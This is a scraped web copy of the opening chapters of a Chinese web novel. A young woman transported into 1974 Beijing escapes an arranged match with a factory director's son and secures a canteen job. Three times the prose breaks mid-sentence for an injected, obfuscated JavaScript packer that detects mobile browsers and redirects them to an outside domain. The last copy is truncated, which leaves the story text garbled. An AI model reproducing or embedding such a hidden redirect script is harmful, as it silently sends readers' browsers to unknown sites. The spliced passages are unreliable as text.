《在热播年代短剧吃瓜[七零]》 1. 第 1 章 “小兰，你真不想要这门亲事啊！”阳光灿烂的胡同里，一道年轻姑娘的声音响起。 马上，另外一道更加好听的声音回道：“看情况，要对方真不合心意，肯定得拒绝。” “但……你这对象的条件可真不赖。不要有点浪费，这不是马上要毕业……”这次说话的是个年轻的小伙子。声音懒洋洋的，听得白兰只想把人给拍醒。 “得了吧！大头。这对象好不好，你一个男人哪里懂那么多！” 白兰还没开口，一开始说话的年轻姑娘立刻怼了过去。 大头一听，麻溜儿举起双手：“行行行，姑奶奶。这事儿我不说，我听你们的就行了。” 白兰见状，笑道：“艳子，你也别凶大头。这事儿说不好还得靠大头帮忙打听打听。” 可不就得麻烦这个绰号大头，全名宁聪的小伙子帮忙嘛！别看对方年轻，但认识的人着实不少。不然，白兰刚穿越过来，好多事情还摸不着头脑呢！ 没错，白兰是一位穿越人士。穿的还是一部正在热播的年代短剧。 说起来，这两年短剧盛行，但白兰作为一个社畜，根本没时间去看什么短剧。偏偏那天就那么巧，午休刷个小金书，忽然看到首页推荐了一个短剧。当时看的是剪辑安利版，就几个场景。都是关于女主怎么打脸各路反派，最终发家致富成为女首富。 这种爽剧，看得人脚指头尴尬扣地。但也觉得爽度爆表，恨不能把反派咔咔打脸一遍。 白兰自然不能免俗，把这几分钟的视频看完后，第一次有了看完全剧的打算。偏她还没来得及施行，午休一睡就穿了过来。 —— 现在是1974年5月底，她还是叫白兰，今年18岁，家在杏花胡同三号大杂院。 眼前这一男一女两个年轻人都是她的同学，也是跟她住在同一座大杂院的邻居。男的叫宁聪，女的叫秦艳。三人从小一起长大，感情一向不错。 现在三人马上就要高中毕业了，但一般人没得上大学。只能选择工作，或者下乡支援农村建设。再不然就是结婚这条路子。 他们三都正好处于这个关口。宁聪还好，独生子，再怎样也不用下乡。 秦艳有个已经工作的大哥，家里就两兄妹。这意味着她要是找不到工作，就得下乡或者嫁人。 白兰自己也好不到哪里去。家里四姐妹，就二姐下过乡，她要是找不到工作，不想下乡也得嫁人。 这不，原身刚好碰到一桩所谓好亲事。虽说没有完全定下来，原身也没跟那所谓的“好对象”来往过。但真需要的话，这桩亲事还能有点作用。 所以，穿越过来后，白兰都来不及去整理回忆更多短剧的细节，麻溜儿就准备先把这桩亲事的具体情况弄个清楚明白，好为接下来的人生规划做好准备。 当然，她暂时也不用怕自己被炮灰掉什么的。毕竟这热播短剧，虽然她只看过几分钟的精华剪辑。但是，她记得原身白兰未来是个暴富暴美的背景板女配。结局虽然未知，出场次数更是有限，但人设特别完美。 这样的人物，一般不会被开局杀。 —— “兰兰，你们三干嘛站在太阳底下！” 白兰听到身后她妈的喊声，心想他们说这个事情，不站在太阳底下，怕早被胡同的大妈听到了。 “总之，大头你先按照我说的，帮忙打听清楚。其他事情等打听到再说……” 白兰最后匆匆说了几句，就跟两好友挥挥手，跑向还在喊她的亲妈那。 “神神秘秘，你们三又准备干啥呢？”白妈妈见女儿跑过来，顺手把她乱了的衣摆拉好。 白兰感受到亲妈的动作，亲热地上去挽住了对方的胳膊：“妈，你今天买什么菜了？” 见女儿转移话题，白妈妈也没再追问，只笑着扬了扬胳膊挎着的篮子：“刚从你爸那回来。” 一听这个，白兰就精神了：“妈，你跟爸说了吗？” “说了，说了，知道你不乐意。你爸同意先找人了解清楚……” 母女两边往家里走边说着事情，邻居们看到后都在那感叹，这白兰都是18岁的大姑娘了。还在跟亲妈撒娇呢！ 白兰可不就跟亲妈撒娇吗！ 天知道，穿越这两天，白兰感触最深的就是自己十分幸运，遇上了一对开明又疼爱孩子的父母。 像这个亲事，明明外人都说好。毕竟男方是钢铁厂厂长的儿子。这钢厂可是万人大厂，厂长的级别本身就很高。而且男方自身也优秀。高中毕业后就进了钢厂销售科，工资高福利待遇好。听说家里住的还是小洋楼。 这样的对象，可是这一片胡同姑娘里面最好的。谁家不羡慕白家能被这样的人家看上。 更加不用说现在正是毕业的关键时刻，这样的亲事，普通人家根本不会推拒。 但就因为白兰想要慎重考虑一下，白家父母虽然觉得可惜，最终还是同意了。 现在，白兰就希望大头那边尽快能有消息。 —— 不过等了大半天，大头还没回来。倒是她爸跟两个姐姐前后脚下班回来了。 “爸，怎样？打听到了什么其他人不知道的秘密不？” 白爸爸刚进门，就被小闺女拦住了。只笑着摇头：“哪有那么快！找人也得找信得过的。不然打听到的消息，可不一定就是真的。” 说起这桩亲事，确实说的有点仓促。但因为是口头约定，实际上很多细节都没详谈。要不是再过些天闺女就要毕业，街道现在又到处动员下乡，白爸爸也不会轻易松口。他暗地里准备找靠得住的人寻摸一番，确定那小子的品行才成。 白兰一听她爸的话，有点小失望。 “赶紧去洗手吃饭先！”这个时候，白妈妈从门前隔出来的厨房大声喊道。 白爸爸听到媳妇的话，马上把手里提着的饭盒塞给闺女，麻溜儿跑去院子的水槽洗手去。 这时候，刚洗完脸的三姐白苹进屋，朝正在打开饭盒的双胞胎姐姐白梨问道：“是啥好吃的？” 白梨温柔地说道：“一盒子四喜丸子……” 白兰听到有四喜丸子就乐了。她穿越过来还不到两天， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880061|159770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒是不馋肉。但她爸带回来的四喜丸子，可是北城第四饭店的招牌菜。要不是她爸是饭店的白案大师傅，也不可能分到一饭盒。 —— 没错，白爸爸是北城第四饭店的白案大师傅。现在是7级厨师。同时又给北城一家点心厂当技术指导，一个月的工资补贴加起来有一百出头。这样的收入，在这年头可是高收入。 所以，白妈妈婚后虽然没有工作，但家里生活一直都挺好的。不过，白妈妈没工作，也是因为家里孩子比较多。 白家夫妻一共生了四个女儿。大女儿白莲已经结婚，目前在钢铁厂妇联工作。二姐白梨下乡一年多，半年前靠自己的努力，通过纺织厂招工，回到厂里当纺织女工。三姐白苹比较厉害。虽然家里托关系给她找到一个饭店临时工工作。不过，对方最终靠着对象家的关系，进了国营百货大楼当售货员。 目前家里就剩白兰一个还在上学。但她马上也要毕业了。毕业后是工作还是结婚，是现下家里最为重要的事情。 —— 饭桌上，白兰刚夹了一个丸子放嘴里，就听到三姐关心地问：“怎样？今天一大早就模模糊糊听到你说亲事的事情。你对这亲事不满意吗？” 听到三姐的话，白兰点头：“也不是不满意，就是觉得要再摸摸底。” 白苹：“之前也不说，这眼看着要毕业了，可别最后什么都没捞着。” 白爸爸一听三女儿的话不中听，连忙打住：“这事情我会处理。最后要是有个万一，你爸我就是豁出去这张老脸，也会给兰兰安排个工作的。” 其实，按照白爸爸的资历跟关系，确实能给女儿弄个饭店的临时工。他们饭店的人，好些都是这样。反正临时工不是正式工，只要饭店经理点头就可以。 坏就坏在最近饭店经理好像被人盯上了。这工作安排就变得困难起来。 白爸爸也认识不少人，但要弄个离家近又适合女同志的工作，没有那么容易。所以，当有一个合适小闺女的对象放到跟前，他当时就心动了。就想着能多一个备选也好。 白苹见老爹这样说，也没再继续说什么。白妈妈跟白梨两则是开始说起了其他话题。心中都希望白兰的事情能顺顺利利。 —— 白兰倒是不怎么担心。反正距离毕业还有十天左右。正好这段时间又不用去学校。她有的是时间把这亲事料理个清楚明白。 就在白兰这样想着的时候，院子里忽然想起了几声咒骂：“大头，你都是18岁的小伙子了，走路还莽莽撞撞，差点撞到你胡婶子的老腰。” 屋外，正响起大头嘻嘻哈哈的声音：“哎哟，胡婶子，你还年轻着呢。说什么老腰呢！” 屋里，白爸爸听到这话失笑摇头：“这臭小子，年纪小小就口花花……” 白兰也差点笑出声音来。大头这人就这样，嘴巴会聊得很。 对方现在急哄哄来，肯定是找到了些什么外面人不知道的小秘密。 果然，接下来白兰就听到了大头打听来的消息。看着对方那愤愤的表情，她心下暗叹：果然…… 2. 第 2 章 “怎么，大头跟你说什么了？” 夜晚，白兰坐在自己屋里的书桌旁，正在台灯下写写画画。白苹洗完澡进来，见状就直接开口。 白兰抬头看向对方，摇头：“没什么……” 事实上是有什么。但她暂时不想跟家里人说。毕竟大头打听来的消息也只是传闻，要说什么石锤证据还真没有。 白苹耸耸肩：“要真有事记得开口……” 白兰：“行，真有事我才不会跟你客气呢！”说着，就见白苹已经走到她自己的床铺上，把床帘也给拉上了。 是的，两人住在同一个屋子。他们白家所在的这座三号大杂院是一座两进的院子。前院住了三户人家，后院这里一共住了八户人家。对比起其他大杂院，他们这算是户数比较少的。 像她家住的是整座大杂院最好的三大间正房，而且是有产权的那种。房子当年据说是她爸白小牛师傅的。老师傅一辈子没个家人，后来收了乡下来讨生活的白爸爸当徒弟。教了徒弟白案的手艺，也被徒弟照顾养老。所以这房子就留给了白爸爸。 但白家人口多，即使是三大间正房，也只能两个人一间屋子。就是这样，条件也是横扫一大堆人。 白兰就跟三姐白苹住右边那间正房。本来二姐跟三姐是双胞胎，一般说来住一起的。但白苹不爱跟双胞胎姐姐一块。就跟小妹住一间了。大姐白莲跟二姐白梨住在另外一间。中间面积最大的正房，则是白家父母居住。当然，这间正房隔了一半出来当堂屋。 厨房则是直接在抄手游廊那搭建了一块用。基本上大杂院都是这样搭建厨房的。厕所则是去前头胡同尽头的公厕解决。 刚穿来面对这种没多少隐私的居住环境，白兰多少有点不习惯。好在，这三姐人聪明又有边际感，白兰跟她住一屋，就当多个舍友了。 —— 白兰感叹一声，继续手下的动作。 傍晚大头来说的那一通话，白兰总算对接下来的事情有了清晰的规划。 既然那个所谓的好对象，早已经有了喜欢的人。那她可不会掺和进去。但大头也说了，这事情是他从钢厂那一片的街溜子口中打听到的。还往熟人那确认了一遍。要是去找钢厂的大妈婶子问，个个都对这人十分看好。 所以，也不怪她爸对这门亲事动心。就是她大姐在钢厂的妇联工作，估计接触的人里，也少有说那人不好的。 综合这些下来，白兰决定先自己出马。要是对方是个有成算的，一定会好好地把这个“亲事”解决掉。 最后看一眼自己的写写画画，白兰满意点头，关上台灯睡觉去。 也是因为这样，她没注意到对面床铺上的三姐，这会子正隔着床帘，满眼复杂地盯着自己。 —— 第二天一早，白兰起来吃过早饭，就按照昨天约好的，喊了秦艳跟大头，三人一起直接朝钢厂出发了。 钢厂在郊区，距离大杂院坐车需要一个小时，骑自行车需要快两小时。三人是坐公交车去的。工作日大早上，公交车人不少。车上，秦艳小声询问白兰真要直接上门去找人啊！ 白兰点头，她也不是去找茬。不过是找人出来谈谈。而大头则是一脸翻白眼的表情，表示这种事情其实直接打上去就完事了。谁家有对象还出来跟人谈亲事的。 愤怒是愤怒了，但到了目的地，大头还是按照白兰的话，直接去钢厂门卫那，表示要找销售科干事宋国平。 白兰跟秦艳没有跟过去，而是在门卫对面的马路上站着，等大头把人领过来。要是她们一起去，怕是不到半天的功夫，整个钢铁厂都知道有两女同志来找厂长的儿子了。 很快，大头就把宋国平领了过来。 国字脸、板寸头、一米八大高个，腰板挺直，一身正气。这宋国平长得十分符合时下的审美。就是知道真相的秦艳见到真人，也忍不住惊呼出声。 白兰对这样的长相不太感冒，觉得过于严肃了些。 —— 宋国平皱眉看着眼下的情况：“你们到底是谁？” 这话一出，大头就一副想挥拳头的架势。秦艳刚刚那赞美的表情也变得很难看。白兰倒是淡定得很。毕竟他们这桩所谓的亲事，来得太急了些。 之前白兰就觉得有点奇怪。昨天听了大头的话后，她就不奇怪了。 毕竟眼前这个叫宋国平的男人，有一个喜欢的女同志。偏偏那女同志因为家里成分的原因下乡了。据说下乡后，宋国平每个月还给对方打钱寄东西。一点都没有要放弃的意思。 但是，半个月前，也就是谈亲事的那段时间，这些动作好像暂停了。 虽然大头没有打听出来原因。但白兰估计是有人发现了宋国平，跟一个成分有问题的女同志往来。 在这时候，这种行为相当敏感。一个不小心，就是厂长家也要有麻烦。 白兰就猜测这个亲事，应该是宋家为了转移视线，转移危机才定下来的。 事实上，白兰的猜测距离真相没差多少。 所以，当她跟宋国平说明来意后，毫不意外得到对方的拒绝。 “亲事是我爸点头的，你爸也没反对，两家都快要谈好了。现在我是不会反对的。” 义正言辞的话，听得白兰嘴角抽抽。但她也懒得跟这人掰扯那么多。既然直接让对方答应取消没辙。那她也只能直接摊牌了。 “你以为我为什么会直接来找你？你每个月寄出去的……” 话还没说完，宋国平就怒瞪白兰：“你知道什么？” —— 白兰耸耸肩，直接迎上去：“你有什么怕人知道的？反正我知道你不想跟我结婚。正好，我更加不想跟你有牵扯。所以，你直接跟你爸说就当这个事情没有发生。我也回去跟我爸说。然后，我们对外就说没有这回事，外面传的都是谣言。这样大家都没有任何损失……” 宋国平听完，表情更加难看，上前一步想说什么。但是，大头已经过去把人给拦下了。秦艳也一副防备的样子看着对方。 两人的动作，让头脑发热的宋国平终于冷静了下来。 他看着白兰眼中的坚定，忽然说道：“你就不怕你爸、你大姐的工作……” 对方家里是厂长家，自家老爹就是个厨子。真要对上铁定会受欺负。就是系统不一样，真天天给她爸找麻烦也是个事。更加不用说自己大姐，包括她婆家三代， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880062|159770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是钢铁厂的职工。这厂长要给职工找麻烦，可比找厨子老爹更加容易。 但白兰就不是个吃亏的。本来大家好好的，你好我好大家好就完事了。没想到这人看着一脸正气，居然还威胁上了。既然这样，白兰也就不跟对方客气了。 “你别以为这样就可以威胁人。你忘了你那对象家里……哼哼……” 多的白兰也不说，就这么两句，心中都是白月光的宋国平就受不了。 当下这人脸色变了又变，跟调色板有得一拼。语气僵硬地问道：“你想怎样？” 白兰：“不想怎样。就是当那所谓的亲事没有发生。对外说亲事都是谣言。再有一个，给我弄个工作。不用多好，临时工也可以。但必须有个工作补偿给我。不然……” 宋国平会威胁，她也会。虽然对方就是不做，她也不会真去举报那下乡的姑娘。但是口头上的阵势，白兰表示自己一定不会输！ —— “所以，你一个人就把事情给解决呢？还捞了一个工作？” 白爸爸难以置信地看着小闺女，觉得自己是不是上班太累，所以听岔了。他不就是去上班一天而已，自己这都还没动作呢，怎么小闺女就干了这么一件大事！ 白兰看着亲爹的表情，嘿嘿笑点头。事实上，不止她爸。就是当时跟她一起去的秦艳跟大头两人，在回来的路上都是一副难以置信的样子。毕竟一开始白兰只说把亲事取消。完全没有想到最后还能捞到一个工作。 工作啊，多么宝贵的东西。 “不是！那小子没本事给你弄来一个工作。”白爸爸说完这句话，忽然一个机灵，瞪大双眼看向小闺女：“你抓到那小子的把柄？” 不是抓到把柄的话，那小子根本不可能答应。就是现在他答应了工作的事情，也得靠他老爹宋厂长出马。 白妈妈这时候没好气地说：“你大早上出去，就干了这事儿？也亏你能忍，愣是等你爸他们回来再说。” 白兰看着同样震惊脸的二姐、三姐，嘿嘿直笑。她这是不想一件事解释几次，这才愣是忍到她爸跟姐姐们下班回来才说的。 “是啊！那宋国平……” 白兰三言两语就把宋国平心里有白月光、以及对方想要威胁的事情都说了个清楚明白。 “所以，我让他弄个工作一点都不过分。不过爸，怕夜长梦多。你是不是要尽快去找那宋厂长谈谈？” 白爸爸点头，当下饭也不吃了。换了身衣服就直接出门，准备去钢厂找宋厂长“谈一谈”。 目送老爹离开后，白兰心情特别好地开始吃饭。期间，二姐白梨还是一副震惊脸，时不时用惊奇地目光看着小妹妹。倒是三姐白苹，表情有种庆幸又带着点隐晦。总之，十分奇怪。白兰注意到了。但她也没怎么在意。反正，现在自己就坐等工作上门就是了。 有了这个工作，自家爸也不用那么捉急。而且，有可能的话，说不定等他爸腾出手来，还能帮秦艳给安排个临时工什么的。 至于帮了大忙的大头，对方估计也不会在意这个工作。到时候请他吃顿好的！ 白爸爸可不知道自家闺女什么都安排得妥妥的。这会子他刚来到钢铁厂。 3. 第 3 章 “你啊你，真是气死我了……” “老宋，你别怪儿子了。还不是那白家的贪心。我就说找亲家也得找那老实本分的。那白小牛就一破厨子。家里还是没个儿子的绝户头。这样的人家做不成亲家也好。免得以后咱家被带累得也跟着绝后。” “你说得轻松，国平现在被人盯着。要不是我跟老徐关系好。那白小牛又跟老徐关系好。你们以为这亲事人家那么容易松口啊！” 想到好好的一桩亲事就这样泡汤，宋厂长心中就一阵气闷。 儿子从小都不用人操心就长成个优秀的男人。偏在感情的事情上栽了跟头。那柳家丫头也不是不好，偏家里有那么些海外关系，还让人给扒拉出来。这样的人家，他们是沾不得的。真沾上了，儿子以后也没什么前途可言了。 他就这么一个儿子，怎么能眼睁睁看着他掉坑里。 这老白家可是他精挑细选出来的人家。白小牛虽然是个农村出来的厨子，但是收入不低。家里还有三大间正房，没儿子只有四个闺女。这房子以后自家儿子也能沾上一些。 大闺女婆家还是他们厂的职工。这样的人家家世清白，又好拿捏，不会给儿子添麻烦。 要不是自己跟饭店经理老徐关系好。又因为经常去那饭店吃饭，跟白小牛多少有些交情。加上老徐帮忙说和，正好对方的小闺女又碰上毕业下乡的关口，这亲事说不定还没机会。 在这风头火势的关头，这样的人家最合适自家不过了。偏儿子居然被人抓住了把柄。 想到这里，宋厂长恨恨咬牙，心里把那盯着自家的人暗骂了几遍。 “那……那白家要工作的事情……” 宋国平知道这次是自己的错。但他不能让人把柳秀雅牵扯出来。那白家就要个工作而已，他爸能安排过来。白家要了工作想必就不会作妖。毕竟他那大闺女一家子可都是厂里的职工。 儿子的话让宋厂长媳妇又气得跳脚。嘴巴念念叨叨个不停，暗骂这白家小闺女真不是个东西。 白老爹就是在这个时候过来的。来的路上他也想好了。反正小闺女的工作有着落，其他事情他就不计较太多。就是当初饭店经理的说合，他也有了安排。正好趁机让对方欠自己一个人情。 这晚白老爹在宋家逗留了半个多小时，一切谈妥后，他这才在宋家人难看的脸色中离开。第二天一早更是连早饭也没吃，只给小闺女留下一句“今天别出门”，然后就匆匆走出家门。 —— 留在家里的白兰也没闲着。把秦艳跟大头喊过来，准备这两天请吃饭，感谢在这个事情上帮忙的人。 “不是听你说有哥们儿在中间帮了忙吗？顺便请过来一起吃饭呗！” 白兰知道这次事情能那么快得到解决，大头托人打听消息占了最大的功劳。 大头一听，连连摆手：“这有啥的。我那哥们最近忙呢，估计没时间一起吃饭。” 白兰一听有点遗憾，但也没追问。反正她是知道大头从小就爱往外头跑。认识的人海了去。不然这次打听消息，也不会托他帮忙了。 “等亲事解决后，时间就更多了。艳子，你家对你工作的事情……” “什么？亲事没了？” 白兰的话还没说完，身后忽然传来一阵尖利的质问声音。声音的主人显然十分激动，声调都变形了。 三人忍不住伸手捂了捂耳朵，一致朝身后看过去。 “胡婶子啊，你……”大头一看是住东厢的胡寡妇，就忍不住想要翻白眼儿。 但胡寡妇这会子可不想搭理大头。只见她嗖嗖两下，就窜到了白兰跟前，伸手就想抓住她的肩膀。 白兰早在看到胡寡妇就做好准备。见对方伸手过来，立刻后退两步。心里暗叫一声糟糕。他们三是在自家廊下说话。本想着这个点大杂院的人大部分都外出买菜去的。所以说话没有多少防备。 也不知道这胡寡妇藏哪里。居然偷听到了他们的对话。 胡寡妇面对白兰的后退不怎么高兴。但她好不容易知道了白家的短处。那就不会轻易放过。 “小兰啊！我怎么听说你被那厂长家的退亲？” 白兰一听，嘴角抽抽。他们三说话，从头到尾都没说被退亲三个字。只说了这亲事不做准。偏这人就有本事当着他们的面，就开始歪曲事实。不过，从记忆中白兰就知道这胡寡妇是个碎嘴子，唯恐天下不乱的。 当下，她也不理会对方，只跟秦艳、大头说道：“吃饭的时间再说。我先回家去。” 说完，白兰麻溜儿跑回家，砰一声就把门给关上了。 她是真懒得跟胡寡妇这样的人掰扯。偏她妈正好又出去买菜了。 —— 白妈妈喜滋滋地挎着篮子，刚走进胡同就被人给拉住了。 “爱红啊，听说你家小兰跟钢厂厂长儿子的亲事吹呢？” 白妈妈何爱红惊讶地看向说话的人：“大菊啊，你这是听谁说的啊！” 苗大菊赶紧拉住白妈妈：“还不是胡寡妇这个碎嘴子。大早上就在后院嚷嚷开来。然后前院的人也跑过来问。再之后整条胡同的人都知道了。现在估计隔壁胡同的人也知道了。” 一听胡寡妇三个字，白妈妈忍不住深吸一口气。 他们大杂院说起来，最让人不高兴的就是胡寡妇了。偏这人是个难缠的。当年她男人在的时候，是纺织厂仓库的库管。结果这人半夜值班的时候抽烟，把满仓库的货烧了不说，自个儿也跟着烧没了。 平常人遇到这种事情，厂里不跟家属计较就算不错了。但轮到胡寡妇，那就不一样了。这人胡搅蛮缠一个多月，愣是从厂里讹了一笔补偿金。还给她大儿子争取了一个厂里的工作岗位。 他们这三号大杂院一大半都是纺织厂的产权，里面居住的人也大多是在纺织厂工作。所以，对于胡寡妇家的事情那是门儿清。 厂里都招架不住这样的人，所以大家对她也是闪避居多。 苗大菊不知道白妈妈的心思，见对方深吸气，跟着吐槽：“要我说，直接给她两耳刮子，保准世界就清净了。不过，爱红，这事儿是真的吗？那钢厂厂长家多好的亲事啊！怎么就吹呢？之前不是听说都要定下来了吗？” 白妈妈立刻摇头，赶紧把两家确定好的说辞说出来：“之前那都是谣传。有人看到宋厂长在饭店吃饭，正好我当家的也出来跟对方说话。也不知道谁喝酒喝多就听岔了，愣是传出我家要跟厂长家对亲家。之前大家也就私下里说说，我们不好多反驳，显得自作多情。” 苗大菊一听就知道事情有古怪。但这是人家的家务事，再啰嗦就不好了。 于是，在胡寡妇到处说白家闺女被退亲的时候，另外一种说法也开始被大家听说。 胡同里闲着的大妈婶子们听到两种说法后，一个个都有自己的看法。但大家一致觉得丢了厂长家亲事的白家，真是亏大发了！ —— “哎，爱红，你们家真是吃大亏了。好不容易碰上这样的亲事，怎么不赶紧定下来。定下来过了礼，就不怕人跑了。” 住在白家隔壁的耳房的秦家婶子，见白妈妈回来，忍不住拉着人可惜起来。 后院几个在看孩子或者干活的大妈、婶子们，也一个个凑了过来。苗大菊本来都准备去水槽洗衣裳的了。见状，干脆抬着水盆也聚了过去。她也不是看热闹，就准备有人说话难听，帮忙打圆场。 住在白家右边耳房的王老太也跟着开口：“是有点可惜。听说那小伙子正经是个不错的。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那两个大妈脸都羞红了，倒是胡寡妇脸皮厚，一点都不在意这反讽。反倒是嬉皮笑脸，一副准备继续的样子。 —— 但前院很快响起了一阵急促的脚步声。 然后大家就看到白家当家白小牛，兴匆匆地拎着一份文件跑了进来。 白兰一看，立刻跳起来跑到门口。一看她爸的表情，她就知道事情成了。 果然，就听到白小牛大声道：“闺女，走。跟爸走一趟。去厂里把手续给办了！” 围在白家门口的众人一听，一个个面面相觑。随即，就有人高喊：“爱红她男人，这是出啥事呢？” 白爸爸满脸红光，大声道：“好事，好事。” 有眼尖识字的，已经看到了文件上头“北城第一纺织厂”这几个红色大字。立刻就反应过来，这是厂里发出的文件。 白小牛也没卖关子，只笑眯眯地说这是厂部发出来的，是录取通知书。录取他家小闺女白兰，去纺织厂食堂当个白案厨子。 大家一听是个工作岗位，一个个都瞪大双眼。就是胡寡妇这个嘴碎看热闹的，这会子已经被惊得说不出话来。她怎么就想不明白，怎么就一个上午的时间，这白家的事情就变成这样。 不是被厂长家退亲的吗？虽然白家人嘴硬，但谁不知道这是好亲事吹了，要面子的借口而已。哪成想人家好亲事是没了，但是得了好工作啊！ 食堂的工作，而且不是洗菜打杂，而是正经的白案厨子。进去了不会饿肚子不说，白面大肉肯定少不了。 这老白家怎么就这么好运。一个白小牛在国营饭店当大厨不说，现在白兰这小姑娘也进了大食堂。白家另外三个闺女工作也一个赛一个的好。 老天爷真是不长眼！ 白兰可不知道胡寡妇那酸溜溜的心态。反正自家老爹一召唤，她麻溜儿就收拾好证件，跟着老爹一起往纺织厂去。 4. 第 4 章 “爸，你这效率也太高了些！”路上，白兰看着手里头的录取文件，感叹道。 白爸爸乐呵呵摇头：“要不是你楚叔帮忙，可没那么容易。” 白兰一听心道果然，她就知道宋家那边没那么简单，真给她弄个好工作。 昨天跟宋国平要工作后，她就猜到对方可能会在工作岗位做些手脚。所以昨晚跟老爹说这事的时候，白兰就提到了自己的顾虑。 幸好这时候的工作岗位是可以调换的。 于是，父女两就商定，要是宋家给的工作有猫腻。那么白老爹就去找人帮忙调换一个适合点的工作。 果然，今天听到老爹说工作岗位是纺织厂的厨子后，白兰就知道宋家真的搞鬼了。 “爸，宋厂长一开始给安排的到底是什么岗位啊！”白兰估摸着这个岗位肯定是十分烫手的那种。 “钢铁厂采购科干事！” 一听是这个岗位，白兰忍不住深吸一口气。 要知道，什么厂子的采购干事都是肥缺。钢铁厂更加不用说了，采购科直接跟铁矿、煤矿那边往来。中间那些个油水，那些个关系网，就不是她一个外来的人能玩得转的。 穿越过来这两天，白兰对国营大厂的各种关系网络进行了一番了解。像钢铁厂一些重要岗位，基本上都是钢厂内部职工子弟的囊中之物。 她要真接了采购干事这样的好岗位，进去后怕不是要被人给生吞活剥了。 想到这里，白兰庆幸自己聪明。也高兴自家老爹有门路，可以帮自己换这么一个岗位。 不过，这样一个烫手山芋，对某些人来说应该是香饽饽了。所以，入职手续是帮忙调换工作的楚叔领着去办的。 对方是纺织厂大食堂的大师傅，整个食堂就是他负责的。有他领着，入职手续办得十分顺利。还给白兰争取到了半个月的安置期。也就是说，半个月后，白兰才需要正式进入食堂工作。 手续办完出来，白兰刚想道谢，对方就连连摆手：“别跟你楚叔客气。钢厂的工作你们不喜欢，但是拿到你们工作的人可乐得不行。” 钢铁厂是万人大厂，纺织厂规模根本比不上。再一个，食堂的厨子跟采购干事的职位根本没法比。两只之间差的不止是工资福利，更有隐形的各种收入。总之，跟白兰换工作的人，自觉占了大便宜。 但白兰却不是这样想的。反正她不想进入钢铁厂的系统，更加不想牵扯到繁杂的人事关系里面。她都穿越到七十年代了，最起码的追求就是舒舒服服过日子。不用下乡，不用着急嫁人，还有了铁饭碗。多么好的事儿啊！ 要钱也不难，再过几年市场开放后，赚钱可比三十年后要简单不少。 所以，这工作到最后，两方都觉得特别满意。 —— 满意的白兰回到大杂院，正好就到了午饭的时候。老爹是直接回饭店工作的，所以白兰是一个人回到家里。 不过就是一个人回去也不清净。那些个好奇她岗位到底怎么来的邻居们，一个个就是大中午吃饭，也都端着饭碗蹲在大杂院门口。 于是，白兰人刚进胡同，就被一堆大妈、婶子、小媳妇给团团围住。 “小兰，小兰。听说你要去咱厂里的大食堂当厨子，是真的吗？” “白家小闺女，你那工作是怎么来的？” “白兰，白兰。你这工作一个月工资多少啊！” …… 白兰还真没想到自己那么受欢迎。各种问题铺天盖地袭来，她通通回以一个礼貌的微笑。反正她就是不想说。特别是在看到角落处一脸憋屈的胡寡妇，白兰更是暗爽了一番。她也搞不懂这碎嘴子的大妈干嘛喜欢搞事情。但让这种人憋屈，她就高兴。 白妈妈这个时候带着几个关系好的婶子，在那高喊：“让让，让让。大家散了，散了。” 其他人的好奇心没得到满足，一个个都一副抓心挠肺的样子。毕竟这白家小闺女，半个月前可是传出要嫁给钢厂厂长儿子的。结果现在又说那亲事是谣言，做不得准。不等大家搞清楚这里面的真假。转头白家小闺女就得了个好工作。 这样变化，好多人都觉得十分稀奇。这一稀奇，可不就引人关注！ —— 就在大家都激动的时候，胡同口那忽然传来一阵汽车鸣笛的声音。 声音挺大的，而且在这年头，汽车的喇叭声还挺稀奇的。大伙儿瞬间都被吸引了注意力。白兰也不例外，她站在高高的门槛上，越过人群看向胡同口。 只见一台军绿色大货车停在了胡同口，引擎还没来得及关闭，整个车头震/颤不已。 之前跟着白妈妈一起出来的苗大菊，看到熟悉的大货车，脸上露出灿烂的笑容。不少邻居也认出了大货车，纷纷朝大货车围了过去。 白兰见身边的人一个个都去大货车那边，就问：“妈，那车子……” 白妈妈笑容满面道：“那是你许三哥的车子，你认不出来啊！” 到了这里，白兰还没反应过来。不过，当那些已经走到大货车的邻居们大喊建南，建南的时候。白兰脑海中忽然如同闪过一道白光。很多关于短剧的记忆跳了出来。 —— 短剧的男主她没记错的话，就叫许建南，住在一座大杂院，有个姓苗的妈妈。穿越这两天她忙着解决亲事。完全忘了短剧的男主，跟她住在一座大杂院。 没错，眼前那位刚从大货车上跳下来的男人，就是短剧的男主许建南。 许建南长得高大威猛，面容算不上特别帅气，但给人感觉十分舒服。只见对方笑出一口大白牙，朝着苗婶子喊了一声妈。然后又笑容满面地跟邻居们说话。一副脾气十分好的样子。 对方跟邻居们说了几句话后，就从车斗里开始往外搬东西。 白妈妈见状，立刻道：“你先回家吃午饭。我过去看看，建南有没有帮我带东西。” 白兰看向大货车，已经有邻居从许建南手里接过东西。这些东西有布料、有吃食。一看就知道是邻居们托许建南买的。 记忆中，许家一共四个儿子，分别叫许建东、许建西、许建南、许建北。 